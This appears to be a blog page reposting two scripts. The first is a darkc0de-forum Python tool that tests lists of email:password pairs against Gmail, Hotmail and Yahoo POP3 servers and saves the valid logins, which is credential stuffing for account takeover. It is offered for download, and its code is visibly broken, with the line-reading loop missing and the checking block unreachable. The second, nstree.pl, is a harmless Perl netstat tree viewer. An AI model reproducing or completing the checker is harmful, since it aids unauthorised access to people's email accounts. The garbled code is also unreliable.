gmail_hotmail_yahoo_chek.py

#!/usr/bin/python                                              #
#                                                              #
#                                                              #
################################################################
#       .___             __          _______       .___        #
#     __| _/____ _______|  | __ ____ \   _  \    __| _/____    #
#    / __ |\__  \\_  __ \  |/ // ___\/  /_\  \  / __ |/ __ \   #
#   / /_/ | / __ \|  | \/    <\  \___\  \_/   \/ /_/ \  ___/   #
#   \____ |(______/__|  |__|_ \\_____>\_____  /\_____|\____\   #
#        \/                  \/             \/                 #
#    You only get smarter, by playing a smarter opponent!      #
#                   ___________   ______  _  __                #
#                 _/ ___\_  __ \_/ __ \ \/ \/ /                #
#                 \  \___|  | \/\  ___/\     /                 #
#                  \___  >__|    \___  >\/\_/                  #
#      est.2007        \/            \/   forum.darkc0de.com   #
################################################################
#                                                              #
#
#code: p47r1ck
#name: GHY.py
#version 1.0
#
#IMPORTANT!!!
#
#
#    "You only get smarter
#          by playing a smarter opponent!"
#                by P47r1ck
#
#  Thanks to : 3l3c7r1c [ Happy Now ? ]
#

import sys, poplib, os
os.system(['clear','cls'][os.name == 'nt'])
def printHelp():
    print '\nUsage: ./GHY.py '
    print 'Ex:    ./GHY.py yahoo emails.txt'
    print 'Ex:    ./GHY.py gmail emails.txt'
    print 'Ex:    ./GHY.py hotmail emails.txt'
    print '\nNote: The accounts must be in the following format:
user@mail.com:password\n'

print "\n********************************************************************"
print "*Multi Account Checker !!!*"
print "* Gmail - Hotmail - Yahoo *"
print "*    Coded by P47r1ck!    *"
print "*    www.darkc0de.com     *"
print "*         07/2009         *"
print "********************************************************************"

if len(sys.argv) != 3:
    printHelp()
    exit(1)
SAVEFILE = 'valid_emails.txt'
if sys.argv[1] == "hotmail":
    HOST = 'pop3.live.com'
    PORT = 995
    print '\nChecking Hotmail Account Now\n'
else:
    pass
if sys.argv[1] == "gmail":
    HOST = 'pop.gmail.com'
    PORT = 995
    print '\nChecking Gmail Account Now\n'
else:
    pass
if sys.argv[1] == "yahoo":
    HOST = 'plus.pop.mail.yahoo.com'
    PORT = 995
    print '\nChecking Yahoo Account Now\n'



# Do not change anything below.
maillist = sys.argv[2]
valid = []
currline = 0

try:
    handle = open(maillist)
except:
    print '\n[-] I can not open the mail list.Dude!!! Be carefull!!!'
    print '\n[-] Leaving... Ciao!'
    exit(1)

    try:
        pop = poplib.POP3_SSL(HOST, PORT)
        pop.user(email)
        pop.pass_(password)
        valid.append(email + ':' + password)
        print '\n[+] Checking: %s <%s> -> Valid!\n' % (email, password)
        pop.quit()
    except:
        print '[+] Checking: %s <%s> -> Invalid!' % (email, password)
        pass

print '\n[+] Total Valid: %s' % len(valid)
print '\n[+] Done.\n'



Download script



 

Baca Selengkapnya... gmail_hotmail_yahoo_chek.py

nstree.pl

#!/usr/bin/perl
# $Id: nstree, v 0.1a1 2010/03/06 11:32:16 PST epixoip Exp $
# shows essential information about network daemons in a formatted tree view. it's like 'pstree,' but for netstat!

use strict;
my %daemons;

die "error: nstree is for linux!\n" if $^O ne 'linux';
die "error: nstree will not display accurate results if run as an unprivileged user.\n" if $<; sub trim { my $line = shift; $line =~ s/^\s+//; $line =~ s/\s+$//; return $line; } foreach ( qx{ (LC_ALL=C /bin/netstat -A inet --tcp -nlp 2>&1) } ) {

next if ! /LISTEN/i;

my @lines = split(/\s+/);
my ( $laddr, $lport ) = split(':', $lines[3]);
my ( $pid, $proc ) = split('/', $lines[6]);

my $args = &trim(`/bin/ps h -o args $pid 2>/dev/null`);
my $euid = &trim(`/bin/ps h -o euid $pid 2>/dev/null`);
my $egid = &trim(`/bin/ps h -o egid $pid 2>/dev/null`);

$daemons{$laddr}{$lport} = { args => $args, pid => $pid, euid => $euid, egid => $egid };
}

foreach ( qx{ (LC_ALL=C /bin/netstat -A inet --tcp -np 2>&1) } ) {

next if ! /ESTABLISHED/i;

my @lines = split(/\s+/);
my ( $laddr, $lport ) = split(':', $lines[3]);
my ( $pid, $proc ) = split('/', $lines[6]);
my $cmd = &trim(`ps h -o args $pid 2>/dev/null`);


if ( ref($daemons{$laddr}{$lport}) eq 'HASH' ) {

push(@{$daemons{$laddr}{$lport}{'connections'}}, { laddr=> $laddr, raddr => $lines[4], what => $cmd });

} elsif ( ref($daemons{'0.0.0.0'}{$lport}) eq 'HASH' ) {

push(@{$daemons{'0.0.0.0'}{$lport}{'connections'}}, { laddr => $laddr, raddr => $lines[4], what => $cmd });

}

}

print "\n";

my ( $len, $plen );

for my $addr ( keys %daemons ) {

if (length($addr) > $plen) { $len = length($addr); }

$plen = length($addr);

}

my $toffset;
for (my $i=0; $i<= ($len + 1); $i++) { $toffset = $toffset . ' '; } for my $addr ( sort { $a <=> $b } keys %daemons ) {

my $offset = $len - length($addr);

my $ioffset;
for (my $i=0; $i<=$offset; $i++) { $ioffset = $ioffset . '-'; } print "$addr$ioffset-+\n"; for my $port ( sort { $a <=> $b } keys %{$daemons{$addr}} ) {

print "$toffset|-- tcp/$port\n";
print "$toffset| |-- cmd: " . $daemons{$addr}{$port}{'args'} . "\n";
print "$toffset| |-- pid: " . $daemons{$addr}{$port}{'pid'} .
' (euid=' . $daemons{$addr}{$port}{'euid'} .
', egid=' . $daemons{$addr}{$port}{'egid'} . ")\n";
print "$toffset| |-- connections: " .
( defined @{$daemons{$addr}{$port}{'connections'}} ? @{$daemons{$addr}{$port}{'connections'}} : '0' ) . "\n";

foreach my $conn (@{$daemons{$addr}{$port}{'connections'}}) {
print "$toffset| |-- " . ${$conn}{'raddr'} . ' => ' .
${$conn}{'laddr'} . ' (' .
${$conn}{'what'} . ")\n";
}

}

}

print "\n\n";

Baca Selengkapnya... nstree.pl